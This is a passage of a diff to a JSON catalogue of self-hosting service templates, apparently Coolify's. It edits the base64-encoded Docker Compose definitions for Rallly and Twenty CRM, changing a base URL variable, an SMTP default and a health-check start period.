"c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUkFMTExZXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcmFsbGx5X2RiOjU0MzIvJHtQT1NUR1JFU19EQjotcmFsbGx5fScKICAgICAgLSAnU0VDUkVUX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF82NF9SQUxMTFl9JwogICAgICAtICdORVhUX1BVQkxJQ19CQVNFX1VSTD1odHRwczovLyR7U0VSVklDRV9VUkxfUkFMTExZfScKICAgICAgLSAnQUxMT1dFRF9FTUFJTFM9JHtBTExPV0VEX0VNQUlMU30nCiAgICAgIC0gJ1NVUFBPUlRfRU1BSUw9JHtTVVBQT1JUX0VNQUlMOi1zdXBwb3J0QGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnU01UUF9QT1JUPSR7U01UUF9QT1JUfScKICAgICAgLSAnU01UUF9TRUNVUkU9JHtTTVRQX1NFQ1VSRX0nCiAgICAgIC0gJ1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ1NNVFBfUFdEPSR7U01UUF9QV0R9JwogICAgICAtICdTTVRQX1RMU19FTkFCTEVEPSR7U01UUF9UTFNfRU5BQkxFRH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gImJhc2ggLWMgJzo+IC9kZXYvdGNwLzEyNy4wLjAuMS8zMDAwJyB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUkFMTExZXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcmFsbGx5X2RiOjU0MzIvJHtQT1NUR1JFU19EQjotcmFsbGx5fScKICAgICAgLSAnU0VDUkVUX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF82NF9SQUxMTFl9JwogICAgICAtICdORVhUX1BVQkxJQ19CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1JBTExMWX0nCiAgICAgIC0gJ0FMTE9XRURfRU1BSUxTPSR7QUxMT1dFRF9FTUFJTFN9JwogICAgICAtICdTVVBQT1JUX0VNQUlMPSR7U1VQUE9SVF9FTUFJTDotc3VwcG9ydEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ1NNVFBfSE9TVD0ke1NNVFBfSE9TVH0nCiAgICAgIC0gJ1NNVFBfUE9SVD0ke1NNVFBfUE9SVH0nCiAgICAgIC0gJ1NNVFBfU0VDVVJFPSR7U01UUF9TRUNVUkU6LWZhbHNlfScKICAgICAgLSAnU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnU01UUF9QV0Q9JHtTTVRQX1BXRH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gImJhc2ggLWMgJzo+IC9kZXYvdGNwLzEyNy4wLjAuMS8zMDAwJyB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "scheduling", "rallly", @@ -4729,7 +4766,7 @@ "twenty": { "documentation": "https://docs.twenty.com?utm_source=coolify.io", "slogan": "Twenty is a CRM designed to fit your unique business needs.", - "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIC0gRElTQUJMRV9EQl9NSUdSQVRJT05TPXRydWUKICAgICAgLSBESVNBQkxFX0NST05fSk9CU19SRUdJU1RSQVRJT049dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgdHdlbnR5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotdHdlbnR5LWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAzMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgL